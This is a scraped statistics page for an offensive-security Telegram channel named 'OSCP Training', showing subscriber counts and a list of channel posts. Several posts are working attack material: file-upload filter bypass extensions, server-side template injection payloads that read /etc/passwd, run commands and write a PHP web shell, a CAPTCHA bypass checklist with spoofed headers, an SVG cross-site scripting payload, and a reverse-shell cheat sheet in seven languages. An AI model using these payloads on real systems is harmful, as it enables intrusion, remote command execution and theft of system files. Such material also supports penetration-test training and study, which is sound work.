en
Feedback
🔥OSCP Training🔥🛡⚔️👨🏻‍💻

🔥OSCP Training🔥🛡⚔️👨🏻‍💻

Open in Telegram

Offensive Security Certified Professional @CEH_training @WebHacking @pfsense @WifiHacking 🔰For safer days

Show more
The country is not specifiedTechnologies & Applications11 688
7 490
Subscribers
No data24 hours
+37 days
-2030 days

Data loading in progress...

Similar Channels
No data
Any problems? Please refresh the page or contact our support manager.
Tags Cloud
No data
Any problems? Please refresh the page or contact our support manager.
Incoming and Outgoing Mentions
---
---
---
---
---
---
Attracting Subscribers
March '25
March '250
in 0 channels
February '25
+56
in 0 channels
Get PRO
January '25
+61
in 0 channels
Get PRO
December '24
+62
in 0 channels
Get PRO
November '24
+74
in 0 channels
Get PRO
October '24
+90
in 0 channels
Get PRO
September '24
+114
in 0 channels
Get PRO
August '24
+156
in 0 channels
Get PRO
July '24
+185
in 0 channels
Get PRO
June '24
+219
in 1 channels
Get PRO
May '24
+259
in 0 channels
Get PRO
April '24
+193
in 1 channels
Get PRO
March '24
+133
in 1 channels
Get PRO
February '24
+179
in 0 channels
Get PRO
January '24
+189
in 3 channels
Get PRO
December '23
+188
in 2 channels
Get PRO
November '23
+176
in 0 channels
Get PRO
October '23
+154
in 1 channels
Get PRO
September '23
+204
in 0 channels
Get PRO
August '23
+255
in 0 channels
Get PRO
July '23
+297
in 0 channels
Get PRO
June '23
+239
in 0 channels
Get PRO
May '23
+266
in 0 channels
Get PRO
April '23
+218
in 0 channels
Get PRO
March '23
+244
in 0 channels
Get PRO
February '23
+231
in 0 channels
Get PRO
January '23
+256
in 0 channels
Get PRO
December '22
+222
in 0 channels
Get PRO
November '22
+247
in 0 channels
Get PRO
October '22
+220
in 0 channels
Get PRO
September '22
+247
in 0 channels
Get PRO
August '22
+199
in 0 channels
Get PRO
July '22
+230
in 0 channels
Get PRO
June '22
+187
in 0 channels
Get PRO
May '22
+139
in 0 channels
Get PRO
April '22
+464
in 0 channels
Get PRO
March '220
in 0 channels
Get PRO
February '220
in 0 channels
Get PRO
January '220
in 0 channels
Get PRO
December '21
+107
in 0 channels
Get PRO
November '21
+139
in 0 channels
Get PRO
October '21
+231
in 0 channels
Get PRO
September '21
+120
in 0 channels
Get PRO
August '21
+135
in 0 channels
Get PRO
July '21
+143
in 0 channels
Get PRO
June '21
+150
in 0 channels
Get PRO
May '21
+138
in 0 channels
Get PRO
April '21
+163
in 0 channels
Get PRO
March '21
+165
in 0 channels
Get PRO
February '21
+192
in 0 channels
Get PRO
January '21
+247
in 0 channels
Get PRO
December '20
+1 077
in 0 channels
Date
Subscriber Growth
Mentions
Channels
02 March0
01 March0
Channel Posts
2
No text...
2 574
3
No text...
2 924
4
Wireshark.pdf
2 737
5
Web Application Lab Setup Guide .pdf
2 700
6
OSCP Cheat Sheet-2.pdf
3 967
7
RedTeam Scenarios.pdf.pdf
299
8
OSCP Exam Report.pdf
3 954
9
OSCP Notes 2.pdf
4 919
10
No text...
4 755
11
File Upload Bypass - Blacklisting Bypass PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .ph
File Upload Bypass - Blacklisting Bypass PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module ASP → .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml Jsp → .jsp, .jspx, .jsw, .jsv, .jspf Coldfusion → .cfm, .cfml, .cfc, .dbm Perl → .pl, .cgi Using random capitalization → .pHp, .pHP5, .PhAr Whitelisting Bypass file.png.php file.png.Php5 file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php.... file.pHp5.... file.png.php file.png.pHp5 file.php#.png file.php%00.png file.php\x00.png file.php%0a.png file.php%0d%0a.png file.phpJunk123png file.png.jpg.php file.php%00.png%00.jpg
3 953
12
@OSCP_training @WebHacking
@OSCP_training @WebHacking
3 335
13
SSTI (Server Side Template Injection) Generic ${{<%[%'"}}%\. {% debug %} {7*7} {{ '7'*7 }} {2*2}[[7*7]] <%= 7 * 7 %>
SSTI (Server Side Template Injection) Generic ${{<%[%'"}}%\. {% debug %} {7*7} {{ '7'*7 }} {2*2}[[7*7]] <%= 7 * 7 %> #{3*3} #{ 3 * 3 } [[3*3]] ${2*2} @(3*3) ${= 3*3} {{= 7*7}} ${{7*7}} #{7*7} [=7*7] {{ request }} {{self}} {{dump(app)}} {{ [] .class.base.subclassesO }} {{''.class.mro()[l] .subclassesO}} for c in [1,2,3] %}{{ c,c,c }}{% endfor %} {{ []._class.base.subclasses_O }} {{['cat%20/etc/passwd']|filter('system')}} PHP {php}print "Hello"{/php} {php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php} {{dump(app)}} {{app.request.server.all|join(',')}} "{{'/etc/passwd'|file_excerpt(1,30)}}"@ {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {$smarty.version} {php}echo id;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} Python {% debug %} {{settings.SECRET_KEY}} {% import foobar %} = Error {% import os %}{{os.system('whoami')}}
3 178
14
Google Dorks to Find Sensitive data or dir
Google Dorks to Find Sensitive data or dir
2 295
15
APIs Fuzzing for Bug Bounty.pdf
2 863
16
CAPTCHA Bypass * Send old captcha value. * Send old captcha value with old session ID. * Remove captcha with any adblocker and request again * Bypass with OCR * Response manipulation. * Use any token with the same length(+1/-1). * Remove the param value or remove the entire parameter. * Change the method from POST to GET(or PUT) and remove the captcha. * Change body to JSON or vice-versa. * Check whether the value of the captcha is in the source code. * Add headers: X-Forwarded-Host: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Host: 127.0.0.1
3 709
17
Tryhackme.pdf
5 849
18
Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image
Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings. Many file uploads allow SVGs and are prone to tampering. <svg width="600" height="400" xmlns="w3.org/2000/svg" xmlns:xhtml="w3.org/1999/xhtml"> <foreignObject width="100%" height="100%"> <body xmlns="w3.org/1999/xhtml"> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg>
4 930
19
WhatsApp'ta OSCP Training kanalını takip edin: https://whatsapp.com/channel/0029VaDxObG17EmxK6bvmy3a
2 745
20
Reverse Shell Cheat Sheet Bash; bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 Python; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PERL; perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' PHP; php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' Ruby; ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Netcat; nc -e /bin/sh 10.0.0.1 1234 Java; r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() xterm; xterm -display 10.0.0.1:1
3 037